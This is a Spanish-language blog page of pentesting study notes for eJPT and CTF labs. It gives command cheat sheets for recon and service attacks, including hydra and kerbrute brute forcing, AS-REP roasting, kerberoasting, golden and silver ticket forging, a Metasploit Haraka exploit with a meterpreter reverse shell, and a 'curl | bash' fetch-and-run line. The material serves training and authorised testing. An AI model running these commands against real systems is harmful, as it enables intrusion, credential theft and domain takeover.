BerserkWings

BerserkWings

Aspirante a Pentester, CTF player
HackTheBox:BerserkPrit64

Notas de Pentesting

 

En esta ocasión, estoy mostrando mis notas sobre el uso de distintas herramientas para realizar pruebas de penetración, además, estas notas pueden ser útiles para alguna certificación como el eJPT de INE Security.

Igual pueden ser usadas contra máquinas CTF de HackTheBox, VulnHub, TheHackesLabs, etc.

ACTUALIZADO: 30/12/2024

PENDIENTE ACTUALIZACIÓN

DISCLAIMER:

La información proporcionada en este blog, es solo con fines educativos e informativos. No me hago responsable de cómo se use o interprete la información aquí proporcionada. Es importante que se utilice esta información de manera responsable y ética. Cualquier daño o consecuencia causada por el mal uso de la información aquí proporcionada, es responsabilidad exclusiva del lector.


Índice



Mapeo de Red


Definición de Mapeo de Redes

IMPORTANTE: Este proceso entra en las fases de las pruebas de penetración, siendo la primera fase la Reconocimiento (Recopilación de Información de forma pásiva y/o activa y Enumeración).


Antes que nada, ¿qué es el mapeo de redes?

Programa Asterisk
El mapeo de red es un proceso que se utiliza para descubrir nuevos dispositivos, interfaces y visualizar la conectividad de red física y virtual. El mapeo de redes ayuda a descomponer la red para facilitar el mantenimiento y la gestión de la red.


Para un pentester, el mapeo de red es importante por varias razones:

  1. Identificación de objetivos: ayuda a identificar los objetivos potenciales para la prueba de penetración, como servidores, bases de datos y sistemas de autenticación.

  2. Conocimiento de la infraestructura: proporciona información sobre la infraestructura de la red, incluyendo la topología, los protocolos y los servicios que se ejecutan en la red.

  3. Identificación de vulnerabilidades: puede ayudar a identificar vulnerabilidades en la red, como puertos abiertos, servicios desactualizados y configuraciones inseguras.

  4. Planificación de la prueba: ayuda a planificar la prueba de penetración, identificando los objetivos y las rutas de ataque más probables.

  5. Evaluación de la seguridad: es una parte importante de la evaluación de la seguridad de una red, ya que ayuda a identificar áreas de debilidad y a recomendar mejoras.

En resumen, el mapeo de red es un paso importante en la prueba de penetración, ya que ayuda a identificar objetivos, vulnerabilidades y áreas de debilidad en una red.


Existen distintas técnicas que se pueden aplicar para realizar este proceso:

  1. Ping Sweep: Consiste en enviar paquetes ICMP Echo Request a una serie de direcciones IP para determinar qué hosts están activos en la red.

  2. TCP SYN Scan: Consiste en enviar paquetes TCP SYN a una serie de puertos en un host para determinar qué puertos están abiertos.

  3. TCP Connect Scan: Consiste en establecer una conexión TCP completa con un host para determinar qué puertos están abiertos.

  4. UDP Scan: Consiste en enviar paquetes UDP a una serie de puertos en un host para determinar qué puertos están abiertos.

  5. ICMP Sweep: Consiste en enviar paquetes ICMP a una serie de direcciones IP para determinar qué hosts están activos en la red.

  6. ARP Scan: Consiste en enviar paquetes ARP a una serie de direcciones IP para determinar qué hosts están activos en la red y obtener su dirección MAC.

  7. DNS Zone Transfer: Consiste en obtener una copia de la zona DNS de un servidor DNS para obtener información sobre la estructura de la red.

  8. SNMP Scan: Consiste en enviar paquetes SNMP a un host para obtener información sobre su configuración y estado.


Herramientas para Realizar Mapeo de Red

# Mandando paquetes a una subred con ping (ping sweep)
ping -b -c 1 <IP>
Ej: ping -b -c 1 192.168.1.0


# Mandando paquetes a una subred con fping (ping sweep)
fping -a -g <IP/24>
Ej: fping -a -g 192.168.1.0/24
Ej: fping -asgq IP/23


# Enviando errores a la basura
fping -a -g <IP/24> 2>/dev/null


# Mandando paquetes a una subred con nmap (ping sweep)
nmap -sn <IP/24>
Ej: nmap -sn 192.168.1.0/24


# Descubriendo hosts en una red local
netdiscover -i <interfaz_de_red> -r <IP>
Ej: netdiscover -i eth0 -r 192.168.1.25


# Descubriendo hosts con paquetes ARP (ARP scan)
arp-scan -I <interfaz_de_red> -g <IP/24>
Ej: arp-scan -I eth0 -g 192.168.1.0/24



Recopilación de Información (Enumeración) Pasiva


¿Qué es la Recopilación Pasiva?

Recopilación Pasiva
La recopilación pasiva de información es una técnica de hacking ético que se utiliza para obtener información sobre un sistema o aplicación sin interactuar directamente con él. En resumen, es consultar toda la información que sea pública.


A continuación, dejo una forma de aplicar esto:

# Obteniendo IP de dominio/host
host <host/dominio>
Ej: host facebook.com


# Obteniendo información de dominio/host
whois <host/dominio>
Ej: whois facebook.com


# Obteniendo técnologias usadas en dominio/host
whatweb <host/dominio>
Ej: whatweb facebook.com


# Reconocimiento DNS
dnsrecon -d <host/dominio>
Ej: dnsrecon -d facebook.com


# Identificando Firewall en dominio
wafw00f <URL>
Ej: wafw00f https://facebook.com
Ej: wafw00f https://renjith.org -v


# Recopilando información de un dominio
theHarvester -d <host/dominio>
Ej: theHarvester -d dominio.com -b google,linkedin,duckduckgo,dnsdumpster


# Enumerando subdominios
sublist3r -d <host/dominio>
Ej: sublist3r -d facebook.com

Páginas web útiles para obtener más información:



Recopilación de Información (Enumeración) Activa


¿Qué es la Recopilación Activa?

Recopilación Activa
Se refiere a las técnicas utilizadas para obtener datos sobre un objetivo mediante interacciones directas con los sistemas, redes o aplicaciones. A diferencia de la recopilación de información pasiva (que evita alertar al objetivo), la recopilación activa implica el envío de solicitudes que pueden ser detectadas por medidas de seguridad, como firewalls o sistemas de detección de intrusos (IDS).


A continuación, dejo una forma de aplicar esto:

# Obteniendo puertos activos de una máquina
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP> -oN allPorts


# Obteniendo información de los puertos activos encontrados
nmap -sCV -p <puertos> <IP> -oN targeted


# Aplicando enumeración DNS a un dominio
dnsenum <dominio>
Ej: dnsenum zonetransfer.me


# Consultando servidores DNS
dig <host/dominio>
Ej: dig axfr @subdominio dominio.com


# Encontrando posibles direcciones IP o subredes pertenecientes a un dominio
fierce --domain <host/dominio>
Ej: fierce -dns example.com

Existen muchisimas herramientas, pero las verás más adelante en cada puerto y servicio que haya auditado.



Puertos y Servicios


Puerto 21 - Servicio FTP

¿Qué es el Servicio FTP?

Servicio FTP
El Protocolo de transferencia de archivos (FTP), es un protocolo de red estándar utilizado para la transferencia de archivos informáticos entre un cliente y un servidor en una red informática. Es un protocolo de texto sin formato que utiliza como carácter de nueva línea 0x0d 0x0a, por lo que a veces es necesario conectarse mediante Telnet o nc -C. Este se encuentra en el puerto 21 por TCP.


A continuación, dejo una forma de auditar este servicio:


Escaneos con nmap para FTP

# Reconocimiento a servicio FTP
nmap -p 21 -sVC <IP>
Ej: nmap -p 21 -sCV 192.168.1.15


# Identificando si esta activo el usuario anonymous
nmap -p 21 --script ftp-anon <IP>


# Aplicando fuerza bruta con nmap para encontrar usuarios
nmap -p 21 --script ftp-brute --script-args userdb=<lista_usuarios> <IP>


Entrando al Servicio FTP, Aplicando Banner Grabing y Forma de Descargar Todo su Contenido

# Entrando al servicio FTP
ftp <IP>
Ej: ftp 192.168.1.15


# Aplicando Banner grabing al servicio FTP
nc -nv <host> 21
Ej: nc -nv 192.168.1.15 21
openssl s_client -connect 192.168.1.15:21 -starttls ftp


# Descargando todos los archivos dentro del servicio FTP
wget -m ftp://<usuario>:<contraseña>@<IP>
wget -m --no-passive ftp://<usuario>:<contraseña>@<IP>
Ej: wget -m ftp://anonymous:anonymous@192.168.1.15


Aplicando Fuerza Bruta a FTP

# Aplicando fuerza bruta con hydra usando wordlists
hydra -L <wordlist_usuarios> -P <wordlist_contraseñas> <IP> ftp

Ej: hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.168.1.15 ftp
Ej2: hydra -l administrador -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.168.1.15 ftp


Wordlists:
*Usuarios: /usr/share/metasploit-framework/data/wordlists/common_users.txt
*Usuarios2: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
*Usuarios3: /usr/share/seclists/Usernames/top-usernames-shortlist.txt
*Usuarios4: /usr/share/metasploit-framework/data/wordlists/unix_users.txt
*Contraseñas: /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
*Contraseñas2: /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
*Contraseñas3: /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
*Contraseñas4: /usr/share/seclists/Passwords/seasons.txt
*Contraseñas5: /usr/share/seclists/Passwords/months.txt
*Contraseñas6: /usr/share/seclists/Passwords/common_corporate_passwords.lst
*Contraseñas nuclear: /usr/share/wordlists/rockyou.txt


Comandos Útiles de FTP

Algunos comandos útiles que sirven dentro del servicio FTP:

Comando Descripción
help Indica que comandos podemos utilizar en el servicio.
ls, dir Listar contenido.
cd Moverse entre directorios.
pwd Muestra el PATH donde te encuentras.
mkdir Crear un directorio.
rmdir Eliminar un directorio.
get, mget Copia un archivo (o varios archivos) del directorio de trabajo remoto al directorio de trabajo local.
put, mget Copia un archivo (o varios archivos) del directorio de trabajo local al directorio de trabajo remoto.
delete, mdelete Elimina un archivo (o varios archivos) del directorio de trabajo remoto.
binary Para entrar en modo binario y poder descargar ejecutables, comprimidos, imagenes, ficheros de sonido, etc.
ascii Para entrar en modo ASCII y poder descargar ficheros o documentos, es el modo por defecto que tiene FTP.
exit, bye Salir del servicio.


Configuraciones Peligrosas y Archivos de Interés de FTP

La configuración predeterminada de vsFTPd se puede encontrar en /etc/vsftpd.conf. Aquí, puedes encontrar algunas configuraciones peligrosas:

  • anonymous_enable=YES
  • anon_upload_enable=YES
  • anon_mkdir_write_enable=YES
  • anon_root=/home/username/ftp -> Directorio para anonymous.
  • chown_uploads=YES -> Cambia la propiedad de los archivos subidos de forma anónima (anonymous).
  • chown_username=username -> Usuario a quien se otorga la propiedad de los archivos subidos de forma anónima (anonymous).
  • local_enable=YES -> Permite que los usuarios locales inicien sesión
  • no_anon_password=YES -> No pide contraseña al usuario anonimo (anonymous).
  • write_enable=YES -> Permite los comandos: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, y SITE.

Aquí puedes encontrar más información sobre como explotar el servicio FTP:

Y dejo aquí el nombre de algunos archivos de interés del servicio FTP:

  • ftpusers
  • ftp.conf
  • proftpd.conf


Aquí puedes encontrar más información sobre el servicio FTP:


Puerto 22 - Servicio SSH

¿Qué es el servicio SSH?

Servicio SSH
SSH, Secure Shell o Secure Socket Shell, es un protocolo de red que brinda a los usuarios una forma segura de acceder a una computadora a través de una red no segura. Este se encuentra en el puerto 22 por TCP


A continuación, dejo una forma de auditar este servicio:


Escaneos con nmap para SSH

# Reconocimiento a servicio SSH
nmap -sCV -p 22 <IP>


# Identificando cuantos algoritmos de encriptación soporta la version del servidor SSH y otros algoritmos
nmap --script ssh2-enum-algos -p 22 <IP>


# Identificando ssh-rsa host key usado por el servidor SSH
nmap --script ssh-hostkey --script-args ssh_hostkey=full -p 22 <IP>


# Identificando el metodo de autenticación de un usuario
nmap --script ssh-auth-methods --script-args="ssh.user=nombre_usuario" -p 22 <IP>


# Aplicando fuerza bruta con nmap
nmap --script ssh-brute --script-args userdb=/wordlists_con_usuarios -p 22 <IP>


Entrando al Servicio SSH

# Entrando al servicio SSH
ssh <usuario>@<IP>
Ej: ssh administrador@192.168.1.15


# Entrando al servicio SSH usando una llave privada
ssh -i <ruta de id_rsa> <usuarios>@<IP>
Ej: ssh -i ~/.ssh/id_rsa root@192.168.1.15


# Entrando al servicio SSH específicando el puerto
ssh -p <puerto> <usuarios>@<IP>
Ej: ssh -p 2222 root@192.168.1.15


Aplicando Fuerza Bruta al SSH

# Aplicando fuerza bruta con hydra
hydra -L <lista_usuarios> -P <lista_contraseñas> <IP> ssh
Ej: hydra -l root -P /usr/share/wordlists/rockyou.txt <IP> ssh
Ej2: hydra -t 4 -l root -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou-40.txt ssh://IP


# Aplicando fuerza bruta con módulo de metasploit
use auxiliary/scanner/ssh/ssh_login
set RHOSTS <IP>
set userpass_file /usr/share/wordlists/metasploit/root_userpass.txt
set STOP_ON_SUCCESS true
set verbose true
exploit


Wordlists:
*Usuarios: /usr/share/metasploit-framework/data/wordlists/common_users.txt
*Usuarios2: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
*Usuarios3: /usr/share/seclists/Usernames/top-usernames-shortlist.txt
*Usuarios4: /usr/share/metasploit-framework/data/wordlists/unix_users.txt
*Contraseñas: /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
*Contraseñas2: /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
*Contraseñas3: /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
*Contraseñas4: /usr/share/seclists/Passwords/seasons.txt
*Contraseñas5: /usr/share/seclists/Passwords/months.txt
*Contraseñas6: /usr/share/seclists/Passwords/common_corporate_passwords.lst
*Contraseñas nuclear: /usr/share/wordlists/rockyou.txt


Ejecutando Comandos por Fuera de SSH, Transferencia de Archivos de SSH y Exploit para Enumerar Usuarios

# Ejecución de comandos por fuera de SSH
ssh <usuario>@<IP> "<comando>"
Ej: ssh root@192.168.1.15 "ifconfig"


# Transfiriendo archivos de SSH a máquina local
scp <usuario>@<IP>:<ruta_donde_poner> <archivo_local>
Ej: scp root@192.168.1.15:/root/Desktop datos.txt


# Transfiriendo archivos de máquina local a SSH
scp <ruta_archivo> <usuario>@<IP>:<ruta_donde_poner>
Ej: scp cositas.txt root@192.168.1.15:/root/desktop


# Copiando llave guardada en SSH
scp <usuario>@<IP>:~/id_rsa ./
Ej: scp root@192.168.1.15:~/id_rsa ./


# Exploit OpenSSH < 7.7 - User Enumeration (2) (CVE-2018-15473) para identificar usuarios
searchsploit ssh enum
searchsploit -m linux/remote/45939.py

Te dejo estos links con información útil para explotar el servicio SSH:


Puerto 23 - Servicio Telnet

¿Qué es el servicio Telnet?

Servicio Telnet
Telnet es un protocolo de red que brinda a los usuarios una forma NO segura de acceder a una computadora a través de una red. Este se encuentra en el puerto 23 por TCP.


A continuación, dejo una forma de auditar este servicio:

# Entrando a servicio Telnet
telnet <IP> 23
Ej: telnet 10.10.11.107 23                                       


# Buscando vulnerabilidades con nmap
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>


# Usando script de nmap para obtener información de NTLM
nmap --script telnet-ntlm-info -p 23 <IP>


# Aplicando fuerza bruta a servicio telnet con nmap
nmap --script telnet-brute --script-args userdb=users.txt,passdb=passwords.txt,telnet-brute.timeout=8s -p 23 <IP>

Estos son algunos archivos de interes de la configuración del servicio Telnet:

  • /etc/inetd.conf
  • /etc/xinetd.d/telnet
  • /etc/xinetd.d/stelnet

Aquí te dejo más información:


Puerto 25 - Servicio SMTP

¿Qué es el servicio SMTP?

Servicio SMTP
SMTP significa protocolo simple de transferencia de correo. Se trata de un protocolo de comunicación que se utiliza para enviar y recibir mensajes de correo electrónico a través de Internet. Los servidores de correo y otros agentes de transferencia de mensajes (MTA) utilizan SMTP para enviar, recibir y reenviar mensajes de correo.


A continuación, dejo una forma de auditar este servicio:


Escaneo con nmap para SMTP

# Escaneo para identificar versión y más del servicio SMTP
nmap -sCV -p 25 <IP>


# Enumerando el servicio SMTP
nmap -p 25 --script smtp-enum-users <IP>


# Enumerando comandos activos del SMTP
nmap -p 25 --script smtp-commands <IP>


# Identificando si el servidor SMTP es vulnerable a la retransmisión de correo.
nmap -p 25 --script smtp-open-relay -v <IP>


Entrando a SMTP, Comandos Útiles, Enumerando Usuarios de SMTP y Aplicando Banner Grabing

# Conectandonos al SMTP
nc <IP> 25
telnet <IP> 25


# Comandos a usar en telnet de SMTP
EHLO all -> listando comandos utilizables
VRFY <usuario> -> identifica si existe un usuario especificado
EXPN <usuario> -> obtiene ID y correo/usuario


# Enumerando usuarios del SMTP
smtp-user-enum -U <wordlists_usuarios> -t <IP>
Ej: smtp-user-enum -M comando_telnet -U <wordlists_usuarios> -t <IP>


# Banner grabbing
nc -vn <IP> 25


Módulos de Metasploit para SMTP

# Módulo de metasploit para enumerar SMTP
auxiliary/scanner/smtp/smtp_enum


# Módulo de metasploit para encontrar versión del SMTP
auxiliary/scanner/smtp/smtp_version


# Módulo para inyección de comandos para SMTP haraka
search type:exploit name:haraka
use 1 (exploit/linux/smtp/haraka)
set SRVPORT 9898
set email_to root@attackdefense.test
set payload linux/x64/meterpreter_reverse_http
set LHOST eth1
exploit

Aquí puedes encontrar más información:


Puerto 53 - Servicio DNS

¿Qué es el servicio DNS?

Servicio DNS
El DNS, o sistema de nombres de dominio, traduce los nombres de dominios aptos para lectura humana (por ejemplo, www.amazon.com) a direcciones IP aptas para lectura por parte de máquinas (por ejemplo, 192.0.2.44).


A continuación, dejo una forma de auditar este servicio:

# Probando si funciona dig
dig IP@ dominio
Ej: dig 10.10.10.10@ dominio.htb

# Obteniendo correos registrados
dig IP@ dominio mx

# Obteniendo nombres de servidores
dig IP@ dominio ns

# Aplicando ataque de transferencia de zona
dig IP@ dominio axfr

Aquí dejo más información:


Puerto 80, 443 - Servicio HTTP y Servicio HTTPS

¿Qué es el servicio HTTP?

Servicio HTTP
HTTP es un protocolo de capa de aplicación diseñado para transferir información entre los dispositivos conectados de la red, y se ejecuta sobre otras capas del conjunto de protocolos de la red. Un flujo típico sobre HTTP implica una máquina cliente que realiza una solicitud a un servidor, que a continuación envía un mensaje de respuesta.


Ahora, ¿qué es el servicio HTTPS?

Servicio HTTPS
El protocolo de transferencia de hipertexto seguro (HTTPS) es la versión segura de HTTP, que es el principal protocolo utilizado para enviar datos entre un navegador web y un sitio web. El HTTPS está encriptado para aumentar la seguridad de las transferencias de datos. Esto es especialmente importante cuando los usuarios transmiten datos confidenciales, como al iniciar sesión en una cuenta bancaria, un servicio de correo electrónico o un proveedor de seguros médicos. Cualquier sitio web, especialmente los que requieren credenciales de inicio de sesión, debe utilizar HTTPS. En los navegadores modernos, como Chrome, los sitios web que no utilizan HTTPS se señalan de forma diferente a los que sí lo hacen. Identifica un candado en la barra de URL que te indicará que la página web es segura.


A continuación, dejo una forma de auditar este servicio:


Escaneos con nmap para HTTP

# Escaneo por defecto
nmap -sCV -p 80 <IP>


# Escaneo que enumera los directorios utilizados por las aplicaciones y servidores web
nmap -p 80 -sV --script=http-enum <IP>


# Realiza una petición HEAD para la carpeta raíz («/») de un servidor web y muestra las cabeceras HTTP devueltas
nmap -p 80 -sV --script=http-headers <IP>


# Escaneo que averigua qué opciones admite un servidor HTTP enviando una petición OPTIONS. Enumera los métodos potencialmente peligrosos
nmap -p 80 -sV --script=http-methods --script-args http-methods.url-path=/directorio_página_web/ <IP>


# Escaneo para servicio WebDav (Microsoft)
nmap -p 80 -sV --script=http-webdav-scan --script-args http-methods.url-path=/webdav/ <IP>


Aplicando Fuerza Bruta a Directorios Web

# Fuerza bruta para encontrar directorios con dirb
dirb http://<IP> <wordlist_web>
Ej: dirb http://192.168.1.15 /usr/share/metasploit-framework/data/wordlists/directory.txt


# Fuerza bruta para encontrar directorios con wfuzz
wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://<IP>/FUZZ/
Ej: wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.1.15/FUZZ/


# Fuerza bruta para encontrar directorios con gobuster
gobuster dir -u http://<IP>/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20
Ej: gobuster dir -u http://192.168.1.15/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20


# Buscando archivos específicos dentro del servicio HTTP con wfuzz
wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,tipo_a_buscar http://<IP>/FUZZ
Ej: wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,asp-aspx-txt http://<IP>/FUZZ.FUZ2Z


# Buscando archivos específicos dentro del servicio HTTP con gobuster
gobuster dir -u http://<IP>/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20 -x tipo_a_buscar
Ej: gobuster dir -u http://192.168.1.15/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20 -x asp,aspx,txt


Obteniendo Tecnologías Usadas por HTTP o HTTPS

# Obteniendo información de las tecnologias usadas por la página web
whatweb http://<IP>

Acá dejo una extensión muy útil para obtener información sobre las tecnologías que usa una página web:


Uso de curl

# Consultando una página web
curl http://<IP o dominio>


# Guardando petición en un archivo
curl http://<IP o dominio> -o <nombre_archivo>


# Flag para mostrar errores en caso de una petición fallida
curl -s http://<IP o dominio>


# Siguiendo las redirecciones de una petición
curl -L http://<IP o dominio>


# Mostrando encabezados de la petición realizada
curl -I http://<IP o dominio>


# Enviando data mediante petición POST
curl -X POST http://<IP o dominio> -d "<data a enviar>"


# Subiendo un archivo mediante petición POST
curl -X POST http://<IP o dominio> -F "<archivo=@ruta_archivo>"


# Enviando encabezados personalizados
curl -H "Authorization: Bearer token" http://<IP o dominio>


# Guardando cookie de sesión
curl http://<IP o dominio> -c cookies.txt


# Enviando cookie de sesión
curl http://<IP o dominio> -b cookies.txt


# Obteniendo código fuente
curl http://<IP o dominio> | more


# Mostrando el tiempo de respuesta
curl -s http://<IP o dominio> -w "Tiempo total %{time_total}s\n" -o /dev/null


# Ejecutando un archivo con bash a traves de una petición
curl http://localhost:80 | bash


Uso de wget

# Descargando un archivo simple
wget http://<IP o dominio>/<nombre_archivo>


# Guardando un archivo con nombre específico
wget http://<IP o dominio>/<nombre_archivo> -O <nombre_archivo>


# Siguiendo redirecciones
wget http://<IP o dominio> --max-redirect=10


# Descargando un sitio completo (modo espejo)
wget http://<IP o dominio> --mirror -p --convert-links -P ./sitio


Módulos de Metasploit para HTTP

# Módulo para aplicar fuerza bruta con tal de descubrir directorios de una aplicación web
auxiliary/scanner/http/brute_dirs


# Módulo que busca y detecta el archivo robots.txt para analizar su contenido
auxiliary/scanner/http/robots_txt


# Módulo que muestra las cabeceras del HTTP
auxiliary/scanner/http/http_header


# Módulo que intenta autenticarnos a un login web (HTTP)
auxiliary/scanner/http/http_login


# Módulo que muestra información de la version HTTP usada por la página web
auxiliary/scanner/http/http_version

Aquí dejo más información:


Puerto 88 - Servicio Kerberos

¿Qué es el servicio Kerberos?

Servicio Kerberos
Un Kerberos es un sistema o enrutador que proporciona una puerta de enlace entre los usuarios e Internet. Por lo tanto, ayuda a evitar que los ciberatacantes ingresen a una red privada. Es un servidor denominado “intermediario”, porque está entre los usuarios finales y las páginas web que visitan en línea.


A continuación, dejo una forma de auditar este servicio:


Aplicando Enumeración de Usuarios de AD y Aplicando Password Spraying

# Enumeración de usuarios con kerbrute
kerbrute userenum -d <dominio> --dc <IP> <wordlists_a_usar>
Ej: kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users


# Password Spraying con kerbrute
kerbrute passwordspray -d <dominio> --dc <IP> <lista_usuarios> <contraseña_a_probar>
Ej: kerbrute passwordspray -d dominio.htb --dc 10.10.10.10 users.txt Welcome1!


Aplicando AS-REP Roasting Attack

# Aplicando AS-REP Roasting attack a una lista de usuarios (en caso de que no tengamos contraseñas validas)
impacket-GetNPUsers -no-pass -userfile <lista_usuarios> <dominio/>
Ej: impacket-GetNPUsers -no-pass -userfile users.txt dominio.htb/


# Aplicando AS-REP Roasting attack con credenciales validas para obtener el TGT de una lista de usuarios
impacket-GetNPUsers <dominio>/<usuario>:<contraseña> -request
Ej: impacket-GetNPUsers dominio.htb/emily:passwd123$! -request


# Aplicando AS-REP Roasting attack para obtener el TGT de un solo usuario del que no tengamos contraseña
impacket-GetNPUsers <dominio>/<usuario> -no-pass
EJ: impacket-GetNPUsers dominio.htb/pepito -no-pass


Aplicando Kerberoasting Attack

# Aplicando kerberoasting attack (solo si tienes usuario y contraseña válidos)
impacket-GetUserSPNs <dominio>/<usuario>:<contraseña>
Ej: impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18


# Aplicando kerberoasting attack para obtener SPN
impacket-GetUserSPNs -request <dominio>/<usuario>:<contraseña>
Ej: impacket-GetUserSPNs -request active.htb/SVC_TGS:GPPstillStandingStrong2k18


Obteniendo Datos para Aplicar Silver Ticket Attack y Aplicandolo

# Obteniendo dominio SID
impacket-getPac -targetUser <usuario> <dominio>/<usuario>:<contraseña>
Ej: impacket-getPac -targetUser administrator dominio.htb/pepito:passwd123$!


# Creando hash NTLM para aplicar silver ticket attack
Copiar contraseña de usuario a usar y usar la siguiente web: https://codebeautify.org/ntlm-hash-generator
Y lo pasamos a minusculas: echo "hash_obtenido" | tr '[A-Z]' '[a-z]'


# Aplicando silver ticket attack
impacket-ticketer -spn <dato_del_spn> -domain-sid <SID_Obtenido> -dc-ip <IP o dominio_del_servidor> -nthash <hashNTLM_del_usuario> -domain <dominio> <usuario_a_suplantar>
Ej: impacket-ticketer -spn MSSQLSvc/dc1.scrm.local:1433 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -dc-ip dc1.scrm.local -nthash b999a16500b87d17ec7f2e2a68778f05 -domain scrm.local Administrator


Creando TGT para Autenticarnos en AD y Aplicando Golden Ticket Attack

# Creando TGT para autenticarnos vía kerberos (usamos evil-winrm solo en caso de que la máquina tenga activo este servicio)
impacket-getTGT <dominio>/<usuario>:<contraseña>
export KRB5CCNAME=nombreUsuario.ccache
evil-winrm -i <IP> -r <dominio>

Ej:
impacket-getTGT active.htb/SVC_TGS:GPPstillStandingStrong2k18
export KRB5CCNAME=SVC_TGS.ccache
evil-winrm -i 192.168.1.15 -r active.htb


# Aplicando Golden ticket attack
ticketer -nthash <hashNT> -domain-sid <SID> -domain <dominio.local> <nombre_usuario_a_usar>
export KRB5CCNAME=<nombre_usuario>.ccache
impacket-psexec <dominio.local>/<usuario>@<nombre_servidor o IP> -k -no-pass
impacket-psexec <dominio.local>/Administrator@<nombre_servidor o IP> -target-ip <IP> -dc-ip $<DC_IP> -no-pass -k

Ej:
ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain dominio.htb berserk
export KRB5CCNAME=berserk.ccache
impacket-psexec dominio.local/berserk@server.local.htb -k -no-pass
impacket-psexec dominio.local/Administrator@server.local.htb -target-ip 192.168.1.15 -dc-ip 192.168.1.15 -no-pass -k

Aquí puedes encontrar más información:


Puerto 110 - Servicio POP3

¿Qué es el servicio POP3?

Servicio POP3
*POP3 es un protocolo antiguo que originalmente se diseñó para usarse en un solo equipo. A diferencia de los protocolos modernos que usan la sincronización bidireccional, POP3 solo admite la sincronización de correo unidireccional, lo que solo permite a los usuarios descargar correos electrónicos desde un servidor a un cliente. *


A continuación, dejo una forma de auditar este servicio:

# Generando una lista de las capacidades soportadas por el servidor POP3
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -p 110 <IP>
Ej: nmap --script pop3-capabilities -sV -p 110 192.168.1.15


# Obteniendo información del servidor (solo si es aplicable)
nmap --script pop3-ntlm-info -sV -p 110 <IP>
Ej: nmap --script pop3-ntlm-info -sV -p 110 192.168.1.15


# Entrando al servidor POP3 via telnet
telnet <IP> 110
Ej: telnet 192.168.1.15 110

Aquí puedes encontrar más información:


Puerto 135 - Servicio MSRPC

¿Qué es el servicio MSRPC?

Servicio MSRPC
Microsoft Remote Procedure Call, también conocido como llamada a función o llamada a subrutina, es un protocolo que utiliza el modelo cliente-servidor que permite a un programa solicitar un servicio a un programa en otra computadora, sin tener que entender los detalles de la red de esa computadora.


A continuación, dejo una forma de auditar este servicio:

# Entrando al servicio MSRPC como anonimo
rpcclient -U "" -N <IP>


# Entrando al servicio MSRPC autenticado
rpcclient -U "<usuario>%<contraseña>" <IP>


# Tratando de autenticarnos con el usuario por defecto guest
rpcclient -U "guest%" <IP>


# Oneliner que obtiene solo los usuarios en forma de lista
rpcclient -U "" -N IP -c "enumdomusers" | awk -F '[][]' '{print $2}'


# oneliner para aplicar el Password Spraying
for u in $(cat <lista_usuarios>);do rpcclient -U "$u%<contraseña_a_probar>" -c "getusername;quit" <IP> | grep Authority; done
Ej: for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

Comando útiles dentro del servicio MSRPC:

Comando Descripción
enumdomusers Enumerando usuarios registrados.
enumdomgroups Enumerando los grupos del dominio.
enumdomains Enumerando los dominios activos.
querydispinfo Enumerando las descripciones de usuarios.
srvinfo Obteniendo info del servidor.
*lookupnames * Obteniendo el ID del usuario especificado.
*querygroupmem * Obteniendo información de un grupo, utilizando su RID.
*queryuser * Obteniendo la información de un usuario, utilizando su RID.
querydominfo Obteniendo información del dominio.
getdompwinfo Obteniendo politica de contraseñas.


Aquí puedes encontrar más información:


Puerto 137 - Servicio NetBIOS

¿Qué es el servicio NetBIOS?

Servicio NetBIOS
NetBIOS (del inglés, “Network Basic Input/Output System”) es, en sentido estricto, una especificación de interfaz para acceso a servicios de red, es decir, una capa de software desarrollado para enlazar un sistema operativo de red con hardware específico. NetBIOS fue originalmente desarrollado por IBM y Sytek como API/APIS para el software cliente de recursos de una Red de área local (LAN). Desde su creación, NetBIOS se ha convertido en el fundamento de muchas otras aplicaciones de red.


A continuación, dejo una forma de auditar este servicio:

# Escaneo con herramienta nbtscan
nbtscan <IP>/24


# Comando que usa la herramienta nmblookup para obtener los nombres NetBIOS asociados a una IP
nmblookup -A <IP>


# Escaneo a NetBIOS por UDP (también se puede por TCP al mismo puerto)
nmap -sU -p 137 <IP>


# Escaneo que intenta recuperar los nombres NetBIOS y la dirección MAC del objetivo
nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n <IP>

Aquí puedes encontrar más información:


Puerto 161,162 (UDP) - Servicio SNMP

¿Qué es el servicio SNMP?

Servicio SNMP
